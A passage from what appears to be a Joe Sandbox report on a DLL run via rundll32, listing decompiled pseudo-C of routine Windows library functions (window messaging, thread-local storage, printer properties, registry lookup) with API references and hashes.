							SendMessageA( *(_v32 + 0x94), 0xc2, 0, 0x100295fc);
						}
						_v28 = SendMessageA( *(_v32 + 0x94), 0xba, 0, 0);
						_t49 = SendMessageA( *(_v32 + 0x94), 0xb6, 0, _v28);
						 *0x10058ece = 0;
						return _t49;
					}
				}
				return _t38;
			}

0x10009366
0x1000936d
0x00000000
0x10009372
0x10009380
0x10009386
0x1000938f
0x100093ab
0x100093b4
0x100093cb
0x100093d3
0x100093e5
0x100093e5
0x100093f1
0x10009409
0x10009416
0x10009420
0x10009429
0x1000943e
0x10009446
0x10009458
0x10009458
0x10009474
0x10009474
0x10009493
0x100094ab
0x100094b1
0x00000000
0x100094b1
0x1000938f
0x100094bb

APIs

SendMessageA.USER32 ref: 100093A5
SendMessageA.USER32 ref: 100093CB
SendMessageA.USER32 ref: 100093E5
SendMessageA.USER32 ref: 10009409
SendMessageA.USER32 ref: 1000943E
SendMessageA.USER32 ref: 10009458
SendMessageA.USER32 ref: 10009474
SendMessageA.USER32 ref: 1000948D
SendMessageA.USER32 ref: 100094AB

Part of subcall function 100090F0: _strlen.LIBCMT ref: 100091CA
Part of subcall function 100090F0: _strlen.LIBCMT ref: 100091E4

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: MessageSend$_strlen
String ID:
API String ID: 3697954797-0
Opcode ID: 2ffd05dad576676297fb9eaf6dbc442549bb5f90649f9ff9e88f90ce09603060
Instruction ID: 329eb70852e0cb7846d89551eaf01311ead5dc39bdcc3cc6f9670776eeec1b90
Opcode Fuzzy Hash: 2ffd05dad576676297fb9eaf6dbc442549bb5f90649f9ff9e88f90ce09603060
Instruction Fuzzy Hash: BE411974A40205AFEB04CBA4CD99FAEB7B5FB4C740F208159FA45AB3D5C775AA02CB50

Uniqueness

Uniqueness Score: -1.00%

Function 10013C4D, Relevance: 13.6, APIs: 9, Instructions: 96
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 83%

			E10013C4D(void* __ebx, long* __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t36;
				void* _t39;
				long _t41;
				void* _t42;
				long _t47;
				void* _t53;
				signed int _t55;
				long* _t62;
				struct _CRITICAL_SECTION* _t64;
				void* _t65;
				void* _t66;

				_push(0x10);
				E10017BF4(E10028893, __ebx, __edi, __esi);
				_t62 = __ecx;
				 *((intOrPtr*)(_t66 - 0x18)) = __ecx;
				_t64 = __ecx + 0x1c;
				 *(_t66 - 0x14) = _t64;
				EnterCriticalSection(_t64);
				_t36 =  *(_t66 + 8);
				if(_t36 <= 0 || _t36 >= _t62[3]) {
					_push(_t64);
				} else {
					_t65 = TlsGetValue( *_t62);
					if(_t65 == 0) {
						 *(_t66 - 4) = 0;
						_t39 = E10013965(0x10);
						__eflags = _t39;
						if(__eflags == 0) {
							_t65 = 0;
							__eflags = 0;
						} else {
							 *_t39 = 0x1002b1d8;
							_t65 = _t39;
						}
						 *(_t66 - 4) =  *(_t66 - 4) | 0xffffffff;
						_t51 =  &(_t62[5]);
						 *(_t65 + 8) = 0;
						 *(_t65 + 0xc) = 0;
						E10013A82( &(_t62[5]), _t65);
						goto L5;
					} else {
						_t55 =  *(_t66 + 8);
						if(_t55 >=  *(_t65 + 8) &&  *((intOrPtr*)(_t66 + 0xc)) != 0) {
							L5:
							_t75 =  *(_t65 + 0xc);
							if( *(_t65 + 0xc) != 0) {
								_t41 = E100134F9(_t51, __eflags, _t62[3], 4);
								_t53 = 2;
								_t42 = LocalReAlloc( *(_t65 + 0xc), _t41, ??);
							} else {
								_t47 = E100134F9(_t51, _t75, _t62[3], 4);
								_pop(_t53);
								_t42 = LocalAlloc(0, _t47);
							}
							_t76 = _t42;
							if(_t42 == 0) {
								LeaveCriticalSection( *(_t66 - 0x14));
								_t42 = E1000A0A7(0, _t53, _t62, _t65, _t76);
							}
							 *(_t65 + 0xc) = _t42;
							E100174D0(_t62, _t42 +  *(_t65 + 8) * 4, 0, _t62[3] -  *(_t65 + 8) << 2);
							 *(_t65 + 8) = _t62[3];
							TlsSetValue( *_t62, _t65);
							_t55 =  *(_t66 + 8);
						}
					}
					_t36 =  *(_t65 + 0xc);
					if(_t36 != 0 && _t55 <  *(_t65 + 8)) {
						 *((intOrPtr*)(_t36 + _t55 * 4)) =  *((intOrPtr*)(_t66 + 0xc));
					}
					_push( *(_t66 - 0x14));
				}
				LeaveCriticalSection();
				return E10017C60(_t36);
			}

APIs

__EH_prolog3_catch.LIBCMT ref: 10013C54
EnterCriticalSection.KERNEL32(?,00000010,10013E18,?,00000000,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441), ref: 10013C65
TlsGetValue.KERNEL32(?,?,00000000,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441,00000000), ref: 10013C83
LocalAlloc.KERNEL32(00000000,00000000,00000000,00000010,?,?,00000000,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 10013CB7
LeaveCriticalSection.KERNEL32(?,?,?,00000000,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441,00000000), ref: 10013D23
_memset.LIBCMT ref: 10013D42
TlsSetValue.KERNEL32(?,00000000), ref: 10013D53
LeaveCriticalSection.KERNEL32(?,?,00000000,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441,00000000), ref: 10013D74

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: CriticalSection$LeaveValue$AllocEnterH_prolog3_catchLocal_memset
String ID:
API String ID: 1891723912-0
Opcode ID: 98e6fda5490af90b613d29fe93ebf23f0a89dab0f12f059d821b20a9314a5678
Instruction ID: 361604de1dd3242a2b5db774f8c39e7d6c7c8771dcfb3c7945be7f3a81b5ec95
Opcode Fuzzy Hash: 98e6fda5490af90b613d29fe93ebf23f0a89dab0f12f059d821b20a9314a5678
Instruction Fuzzy Hash: 3F317C74500616AFDB20DF65E886C5EBBB5FF04350B21C529F95AAB661CB30ED90CB80

Uniqueness

Uniqueness Score: -1.00%

Function 1000A6E3, Relevance: 12.1, APIs: 8, Instructions: 65
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E1000A6E3(void* __ecx, char* _a4) {
				void* _v8;
				void* _t15;
				void* _t20;
				void* _t35;

				_push(__ecx);
				_t35 = __ecx;
				_t15 =  *(__ecx + 0x74);
				if(_t15 != 0) {
					_t15 = lstrcmpA(( *(GlobalLock(_t15) + 2) & 0x0000ffff) + _t16, _a4);
					if(_t15 == 0) {
						_t15 = OpenPrinterA(_a4,  &_v8, 0);
						if(_t15 != 0) {
							_t18 =  *(_t35 + 0x70);
							if( *(_t35 + 0x70) != 0) {
								E10014056(_t18);
							}
							_t20 = GlobalAlloc(0x42, DocumentPropertiesA(0, _v8, _a4, 0, 0, 0));
							 *(_t35 + 0x70) = _t20;
							if(DocumentPropertiesA(0, _v8, _a4, GlobalLock(_t20), 0, 2) != 1) {
								E10014056( *(_t35 + 0x70));
								 *(_t35 + 0x70) = 0;
							}
							_t15 = ClosePrinter(_v8);
						}
					}
				}
				return _t15;
			}

APIs

GlobalLock.KERNEL32 ref: 1000A700
lstrcmpA.KERNEL32(?,?), ref: 1000A70C
OpenPrinterA.WINSPOOL.DRV(?,?,00000000), ref: 1000A71E
DocumentPropertiesA.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 1000A73E
GlobalAlloc.KERNEL32(00000042,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 1000A746
GlobalLock.KERNEL32 ref: 1000A750
DocumentPropertiesA.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000002), ref: 1000A75D
ClosePrinter.WINSPOOL.DRV(?,00000000,?,?,00000000,00000000,00000002), ref: 1000A775

Part of subcall function 10014056: GlobalFlags.KERNEL32(?), ref: 10014061
Part of subcall function 10014056: GlobalUnlock.KERNEL32(?,?,?,1000A4C2,?,00000004,1000146F), ref: 10014073
Part of subcall function 10014056: GlobalFree.KERNEL32 ref: 1001407E

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: Global$DocumentLockProperties$AllocCloseFlagsFreeOpenPrinterPrinter.Unlocklstrcmp
String ID:
API String ID: 168474834-0
Opcode ID: c5ddca194c607ea35f329f4eccdab628960a2426db6b20382c350f57d95b32d7
Instruction ID: f32a97280aef975bd063cd01cc2dace1ac46c13f829f9411547ae7bffa227ebc
Opcode Fuzzy Hash: c5ddca194c607ea35f329f4eccdab628960a2426db6b20382c350f57d95b32d7
Instruction Fuzzy Hash: ED11A075500600BBEB22CBBADC89DAF7AFDFB89B807104519F60AD5021DB31DD91DB20

Uniqueness

Uniqueness Score: -1.00%

Function 10013854, Relevance: 12.0, APIs: 8, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10013854(void* __ecx) {
				struct HDC__* _t18;
				void* _t19;

				_t19 = __ecx;
				 *((intOrPtr*)(_t19 + 8)) = GetSystemMetrics(0xb);
				 *((intOrPtr*)(_t19 + 0xc)) = GetSystemMetrics(0xc);
				 *0x1005aa30 = GetSystemMetrics(2) + 1;
				 *0x1005aa34 = GetSystemMetrics(3) + 1;
				_t18 = GetDC(0);
				 *((intOrPtr*)(_t19 + 0x18)) = GetDeviceCaps(_t18, 0x58);
				 *((intOrPtr*)(_t19 + 0x1c)) = GetDeviceCaps(_t18, 0x5a);
				return ReleaseDC(0, _t18);
			}

0x1001385f
0x10013865
0x1001386c
0x10013874
0x1001387e
0x1001388f
0x10013899
0x100138a1
0x100138ad

APIs

GetSystemMetrics.USER32 ref: 10013861
GetSystemMetrics.USER32 ref: 10013868
GetSystemMetrics.USER32 ref: 1001386F
GetSystemMetrics.USER32 ref: 10013879
GetDC.USER32(00000000), ref: 10013883
GetDeviceCaps.GDI32(00000000,00000058), ref: 10013894
GetDeviceCaps.GDI32(00000000,0000005A), ref: 1001389C
ReleaseDC.USER32 ref: 100138A4

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: MetricsSystem$CapsDevice$Release
String ID:
API String ID: 1151147025-0
Opcode ID: db9cd225bf41a8a16edb532eadca07c49390effd78a228ecd5040edfe1a92329
Instruction ID: d97b14313f3971f9b273ebf2d99ed84bfce9517748686708ee6192b13dda979b
Opcode Fuzzy Hash: db9cd225bf41a8a16edb532eadca07c49390effd78a228ecd5040edfe1a92329
Instruction Fuzzy Hash: CEF03071A40714AFFB20AF728CC9F677BA8EB81B51F11491AE6428B6D0D7B59806CF50

Uniqueness

Uniqueness Score: -1.00%

Function 1000BD98, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117
registryCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E1000BD98(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, signed int _a264, char _a268) {
				char _v4;
				intOrPtr _v12;
				char* _v16;
				void* _v20;
				char* _v24;
				char _v28;
				long _v32;
				char _v36;
				char _v272;
				char _v280;
				intOrPtr _v292;
				void* __ebp;
				char _t44;
				void* _t47;
				void* _t54;
				char* _t61;
				void* _t77;
				void* _t80;
				void* _t81;
				intOrPtr _t94;
				void* _t98;
				void* _t100;
				void* _t101;
				char* _t104;

				_t95 = __edx;
				_t81 = __ecx;
				_t79 = __ebx;
				_t104 =  &_v272;
				_a264 =  *0x10057a08 ^ _t104;
				_push(0x18);
				E10017BC1(E10027F63, __ebx, __edi, __esi);
				_t100 = __ecx;
				_v20 = 0;
				_v32 = 0;
				_t44 = E1000BB54(__ecx, __edx);
				_v28 = _t44;
				if(_t44 != 0) {
					do {
						__eax =  &_v28;
						_push(__eax);
						__ecx = __esi;
						E1000BB65();
						__eflags = __eax - __edi;
						if(__eax != __edi) {
							__edx =  *__eax;
							__ecx = __eax;
							__eax =  *((intOrPtr*)(__edx + 0xc))(__edi, 0xfffffffc, __edi, __edi);
						}
						__eflags = _v28 - __edi;
					} while (_v28 != __edi);
				}
				__eflags =  *(_t100 + 0x54);
				if( *(_t100 + 0x54) == 0) {
					L15:
					 *[fs:0x0] = _v12;
					_pop(_t98);
					_pop(_t101);
					_pop(_t80);
					_t47 = E100167D5(1, _t80, _a264 ^ _t104, _t95, _t98, _t101);
					__eflags =  &_a268;
					return _t47;
				} else {
					__eflags =  *(_t100 + 0x68);
					__eflags = 0 |  *(_t100 + 0x68) != 0x00000000;
					if(__eflags != 0) {
						_push("Software\\");
						E10009FA3(_t79,  &_v16, 0, _t100, __eflags);
						_v4 = 0;
						E10009F7E(_t79,  &_v16,  *(_t100 + 0x54));
						_push(0x1002a248);
						_push( &_v16);
						_push( &_v36);
						_t54 = E1000BC25(_t79, 0, _t100, __eflags);
						_push( *(_t100 + 0x68));
						_v4 = 1;
						_push(_t54);
						_push( &_v24);
						E1000BC25(_t79, 0, _t100, __eflags);
						_v4 = 3;
						E10009CB7(_v36 + 0xfffffff0, _t95);
						_push( &_v24);
						_push(0x80000001);
						E1000BC89(_t79, 0, 0x80000001, __eflags);
						_t61 = RegOpenKeyA(0x80000001, _v16,  &_v20);
						__eflags = _t61;
						if(_t61 == 0) {
							__eflags = RegEnumKeyA(_v20, 0, _t104, 0x104) - 0x103;
							if(__eflags == 0) {
								_push( &_v16);
								_push(0x80000001);
								E1000BC89(_t79, 0, 0x80000001, __eflags);
							}
							RegCloseKey(_v20);
						}
						RegQueryValueA(0x80000001, _v24, _t104,  &_v32);
						E10009CB7( &(_v24[0xfffffffffffffff0]), _t95);
						__eflags =  &(_v16[0xfffffffffffffff0]);
						E10009CB7( &(_v16[0xfffffffffffffff0]), _t95);
						goto L15;
					} else {
						_push(_t104);
						_push(_t81);
						_v280 = 0x10057298;
						E10017C83( &_v280, 0x1002e2fc);
						asm("int3");
						_push(4);
						E10017BC1(E10027DEC, _t79, 0, _t100);
						_t94 = E10013965(0x104);
						_v292 = _t94;
						_t77 = 0;
						_v280 = 0;
						if(_t94 != 0) {
							_t77 = E1000CF71(_t94);
						}
						return E10017C60(_t77);
					}
				}
			}

0x1000bd98
0x1000bd98
0x1000bd98
0x1000bd9f
0x1000bdaa
0x1000bdb0
0x1000bdb7
0x1000bdbe
0x1000bdc0
0x1000bdc3
0x1000bdc6
0x1000bdcd
0x1000bdd0
0x1000bdd2
0x1000bdd2
0x1000bdd5
0x1000bdd6
0x1000bdd8
0x1000bddd
0x1000bddf
0x1000bde1
0x1000bde8
0x1000bdea
0x1000bdea
0x1000bded
0x1000bded
0x1000bdd2
0x1000bdf2
0x1000bdf5
0x1000bed2
0x1000bed8
0x1000bee0
0x1000bee1
0x1000bee2
0x1000beeb
0x1000bef0
0x1000bef7
0x1000bdfb
0x1000bdfd
0x1000be03
0x1000be05
0x1000be0c
0x1000be14
0x1000be1f
0x1000be22
0x1000be27
0x1000be2f
0x1000be33
0x1000be34
0x1000be39
0x1000be3c
0x1000be40
0x1000be44
0x1000be45
0x1000be53
0x1000be57
0x1000be5f
0x1000be65
0x1000be66
0x1000be73
0x1000be79
0x1000be7b
0x1000be90
0x1000be95
0x1000be9a
0x1000be9b
0x1000be9c
0x1000be9c
0x1000bea4
0x1000bea4
0x1000beb6
0x1000bec2
0x1000beca
0x1000becd
0x00000000
0x1000be07
0x1000a0db
0x1000a0de
0x1000a0e8
0x1000a0ef
0x1000a0f4
0x1000a0f5
0x1000a0fc
0x1000a10b
0x1000a10d
0x1000a110
0x1000a114
0x1000a117
0x1000a119
0x1000a119
0x1000a123
0x1000a123
0x1000be05

APIs

__EH_prolog3.LIBCMT ref: 1000BDB7
RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 1000BE73
RegEnumKeyA.ADVAPI32(?,00000000,00000000,00000104), ref: 1000BE8A
RegCloseKey.ADVAPI32(?,?,?,?,?,Software\,00000018), ref: 1000BEA4
RegQueryValueA.ADVAPI32(80000001,?,?,?), ref: 1000BEB6

Strings

Software\, xrefs: 1000BE0C

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: CloseEnumH_prolog3OpenQueryValue
String ID: Software\
API String ID: 3878845136-964853688
Opcode ID: 7ebb37ec80ad41570234b5e56baee62c3bc695e135d0d4cdd5ea00e84b8678cd
Instruction ID: bb9b01b2753fba5bda47465ad6778d866e06322e4a0b808ca87f46191af68194
Opcode Fuzzy Hash: 7ebb37ec80ad41570234b5e56baee62c3bc695e135d0d4cdd5ea00e84b8678cd
Instruction Fuzzy Hash: 6241AC31900559AFEB11DFA4CC81EFEB7B9EF48390F20052AF552E2294DB74AA45CB61

Uniqueness

Uniqueness Score: -1.00%

Function 1000F6F2, Relevance: 10.6, APIs: 7, Instructions: 115
windowCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E1000F6F2(intOrPtr* __ecx, signed int _a4) {
				struct HWND__* _v4;
				struct tagMSG* _v8;
				int _v12;
				int _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HWND__* _t42;
				struct tagMSG* _t43;
				signed int _t45;
				void* _t48;
				void* _t50;
				int _t53;
				long _t56;
				signed int _t62;
				intOrPtr* _t64;
				intOrPtr* _t67;
				void* _t68;

				_t63 = __ecx;
				_t62 = 1;
				_t67 = __ecx;
				_v12 = 1;
				_v16 = 0;
				if((_a4 & 0x00000004) == 0 || (E10012862(__ecx) & 0x10000000) != 0) {
					_t62 = 0;
				}
				_t42 = GetParent( *(_t67 + 0x20));
				 *(_t67 + 0x3c) =  *(_t67 + 0x3c) | 0x00000018;
				_v4 = _t42;
				_t43 = E1000B519(0);
				_t68 = UpdateWindow;
				_v8 = _t43;
				while(1) {
					L14:
					_t73 = _v12;
					if(_v12 == 0) {
						goto L15;
					}
					__eflags = PeekMessageA(_v8, 0, 0, 0, 0);
					if(__eflags != 0) {
						while(1) {
							L15:
							_t45 = E1000B911(_t63, 0, _t67, _t73);
							if(_t45 == 0) {
								break;
							}
							if(_t62 != 0) {
								_t53 = _v8->message;
								if(_t53 == 0x118 || _t53 == 0x104) {
									E100128D7(_t67, 1);
									UpdateWindow( *(_t67 + 0x20));
									_t62 = 0;
								}
							}
							_t64 = _t67;
							_t48 =  *((intOrPtr*)( *_t67 + 0x80))();
							_t79 = _t48;
							if(_t48 == 0) {
								_t39 = _t67 + 0x3c;
								 *_t39 =  *(_t67 + 0x3c) & 0xffffffe7;
								__eflags =  *_t39;
								return  *((intOrPtr*)(_t67 + 0x44));
							} else {
								_t50 = E1000B82B(_t62, _t64, 0, _t67, _t68, _t79, _v8);
								_pop(_t63);
								if(_t50 != 0) {
									_v12 = 1;
									_v16 = 0;
								}
								if(PeekMessageA(_v8, 0, 0, 0, 0) != 0) {
									continue;
								} else {
									goto L14;
								}
							}
						}
						_push(0);
						E1000A5E4();
						return _t45 | 0xffffffff;
					}
					__eflags = _t62;
					if(_t62 != 0) {
						_t63 = _t67;
						E100128D7(_t67, 1);
						UpdateWindow( *(_t67 + 0x20));
						_t62 = 0;
						__eflags = 0;
					}
					__eflags = _a4 & 0x00000001;
					if((_a4 & 0x00000001) == 0) {
						__eflags = _v4;
						if(_v4 != 0) {
							__eflags = _v16;
							if(_v16 == 0) {
								SendMessageA(_v4, 0x121, 0,  *(_t67 + 0x20));
							}
						}
					}
					__eflags = _a4 & 0x00000002;
					if(__eflags != 0) {
						L13:
						_v12 = 0;
						continue;
					} else {
						_t56 = SendMessageA( *(_t67 + 0x20), 0x36a, 0, _v16);
						_v16 = _v16 + 1;
						__eflags = _t56;
						if(__eflags != 0) {
							continue;
						}
						goto L13;
					}
				}
				goto L15;
			}

APIs

GetParent.USER32(?), ref: 1000F720
PeekMessageA.USER32 ref: 1000F747
UpdateWindow.USER32(?), ref: 1000F761
SendMessageA.USER32 ref: 1000F785
SendMessageA.USER32 ref: 1000F79F
UpdateWindow.USER32(?), ref: 1000F7E5
PeekMessageA.USER32 ref: 1000F819

Part of subcall function 10012862: GetWindowLongA.USER32 ref: 1001286D

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: Message$Window$PeekSendUpdate$LongParent
String ID:
API String ID: 2853195852-0
Opcode ID: 1a7b99641fbd6274f08d233d62057ee23ad71d0a046cd1d00a2b03b8b2250d72
Instruction ID: ecef1c15dac149fec5e590ec2565d957468d58fa3f8c06f10f68a2e84cd0c50c
Opcode Fuzzy Hash: 1a7b99641fbd6274f08d233d62057ee23ad71d0a046cd1d00a2b03b8b2250d72
Instruction Fuzzy Hash: 3041C1312087429BE711CF258C88A2BBAF4FFC5BD4F10092DF589928A4DB71D946EB53

Uniqueness

Uniqueness Score: -1.00%

Function 1000AE8A, Relevance: 10.6, APIs: 7, Instructions: 111
windowCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E1000AE8A(int __ebx, long __ecx, struct HWND__* __edi) {
				long _v4;
				char _v28;
				intOrPtr _v40;
				void* __esi;
				void* __ebp;
				long _t20;
				long _t21;
				struct HWND__* _t22;
				long _t23;
				struct HWND__* _t24;
				long _t25;
				struct HWND__* _t26;
				void* _t33;
				void* _t35;
				long _t39;
				long _t41;
				intOrPtr _t43;
				struct HWND__* _t47;
				struct HWND__* _t49;
				long _t51;
				long _t53;

				_t46 = __edi;
				_t39 = __ecx;
				_t37 = __ebx;
				if( *((intOrPtr*)(__ecx + 0x78)) == 0) {
					_t51 = E1000A7CE();
					__eflags = _t51;
					if(_t51 != 0) {
						_t20 =  *((intOrPtr*)( *_t51 + 0x120))();
						__eflags = _t20;
						_t41 = _t51;
						_pop(_t52);
						if(_t20 != 0) {
							_t53 = _t41;
							_t21 =  *(_t53 + 0x64);
							__eflags = _t21;
							if(_t21 == 0) {
								_pop(_t52);
								goto L12;
							} else {
								__eflags = _t21 - 0x3f107;
								if(__eflags != 0) {
									_t35 = E1000D5EC(__ebx, __edi, _t53, __eflags);
									_t21 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t35 + 4)))) + 0xac))( *(_t53 + 0x64), 1);
								}
								return _t21;
							}
						} else {
							L12:
							_push(_t41);
							_push(_t37);
							_push(0);
							_push(_t52);
							_push(_t46);
							_v4 = _t41;
							_t22 = GetCapture();
							_t51 = SendMessageA;
							_t37 = 0x365;
							while(1) {
								_t47 = _t22;
								__eflags = _t47;
								if(_t47 == 0) {
									break;
								}
								_t23 = SendMessageA(_t47, _t37, 0, 0);
								__eflags = _t23;
								if(__eflags != 0) {
									L27:
									return _t23;
								} else {
									_t22 = E10010DA7(_t41, _t47, __eflags, _t47);
									continue;
								}
								goto L33;
							}
							_t24 = GetFocus();
							while(1) {
								_t46 = _t24;
								__eflags = _t46;
								if(_t46 == 0) {
									break;
								}
								_t23 = SendMessageA(_t46, _t37, 0, 0);
								__eflags = _t23;
								if(__eflags != 0) {
									goto L27;
								} else {
									_t24 = E10010DA7(_t41, _t46, __eflags, _t46);
									continue;
								}
								goto L33;
							}
							_t39 = _v4;
							_t25 = E10010DEC(_t37, _t39, _t46);
							__eflags = _t25;
							if(_t25 != 0) {
								_t26 = GetLastActivePopup( *(_t25 + 0x20));
								while(1) {
									_t49 = _t26;
									__eflags = _t49;
									_push(0);
									if(_t49 == 0) {
										break;
									}
									_t23 = SendMessageA(_t49, _t37, 0, ??);
									__eflags = _t23;
									if(__eflags == 0) {
										_t26 = E10010DA7(_t39, _t49, __eflags, _t49);
										continue;
									}
									goto L27;
								}
								_t23 = SendMessageA( *(_v4 + 0x20), 0x111, 0xe147, ??);
								goto L27;
							} else {
								goto L1;
							}
						}
					} else {
						L1:
						_push(0);
						_push(_t39);
						_v28 = 0x10057298;
						E10017C83( &_v28, 0x1002e2fc);
						asm("int3");
						_push(4);
						E10017BC1(E10027DEC, _t37, _t46, _t51);
						_t43 = E10013965(0x104);
						_v40 = _t43;
						_t33 = 0;
						_v28 = 0;
						if(_t43 != 0) {
							_t33 = E1000CF71(_t43);
						}
						return E10017C60(_t33);
					}
				} else {
					__eflags = __eax - 0x3f107;
					if(__eax != 0x3f107) {
						return  *((intOrPtr*)( *__ecx + 0xac))(__eax, 1);
					}
					return __eax;
				}
				L33:
			}

APIs

GetCapture.USER32 ref: 10014232
SendMessageA.USER32 ref: 1001424B
GetFocus.USER32 ref: 1001425D
SendMessageA.USER32 ref: 10014269
GetLastActivePopup.USER32(?), ref: 10014290
SendMessageA.USER32 ref: 1001429B
SendMessageA.USER32 ref: 100142BF

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: MessageSend$ActiveCaptureFocusLastPopup
String ID:
API String ID: 3219385341-0
Opcode ID: ece27361fccefe4c1d9af4d39d412bb8da5438b11630c38f166ec2a3b357e9a2
Instruction ID: 33038f709047c962cd6e8134d606cff9e197d9281aa775ba373aba56dbca1b45
Opcode Fuzzy Hash: ece27361fccefe4c1d9af4d39d412bb8da5438b11630c38f166ec2a3b357e9a2
Instruction Fuzzy Hash: D031E331300256EBE611EB24DC84E6E7AEDEF866D5B630629F841DF160CF71ECC19661

Uniqueness

Uniqueness Score: -1.00%

Function 1000FC8A, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E1000FC8A(intOrPtr* __ecx) {
				struct HWND__* _v40;
				struct HWND__* _v44;
				intOrPtr _v48;
				void* _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				long _t43;
				struct HWND__* _t48;
				long _t61;
				intOrPtr* _t63;
				signed int _t64;
				void* _t69;
				intOrPtr _t71;
				intOrPtr* _t72;

				_t72 = __ecx;
				_t69 = E1000B510();
				if(_t69 != 0) {
					if( *((intOrPtr*)(_t69 + 0x20)) == __ecx) {
						 *((intOrPtr*)(_t69 + 0x20)) = 0;
					}
					if( *((intOrPtr*)(_t69 + 0x24)) == _t72) {
						 *((intOrPtr*)(_t69 + 0x24)) = 0;
					}
				}
				_t63 =  *((intOrPtr*)(_t72 + 0x48));
				if(_t63 != 0) {
					 *((intOrPtr*)( *_t63 + 0x50))();
					 *((intOrPtr*)(_t72 + 0x48)) = 0;
				}
				_t64 =  *(_t72 + 0x4c);
				if(_t64 != 0) {
					 *((intOrPtr*)( *_t64 + 4))(1);
				}
				 *(_t72 + 0x4c) =  *(_t72 + 0x4c) & 0x00000000;
				_t83 =  *(_t72 + 0x3c) & 1;
				if(( *(_t72 + 0x3c) & 1) != 0) {
					_t71 =  *((intOrPtr*)(E1000D61F(1, _t64, _t69, _t72, _t83) + 0x3c));
					if(_t71 != 0) {
						_t85 =  *(_t71 + 0x20);
						if( *(_t71 + 0x20) != 0) {
							E100174D0(_t71,  &_v52, 0, 0x30);
							_t48 =  *(_t72 + 0x20);
							_v44 = _t48;
							_v40 = _t48;
							_v52 = 0x28;
							_v48 = 1;
							SendMessageA( *(_t71 + 0x20), 0x405, 0,  &_v52);
						}
					}
				}
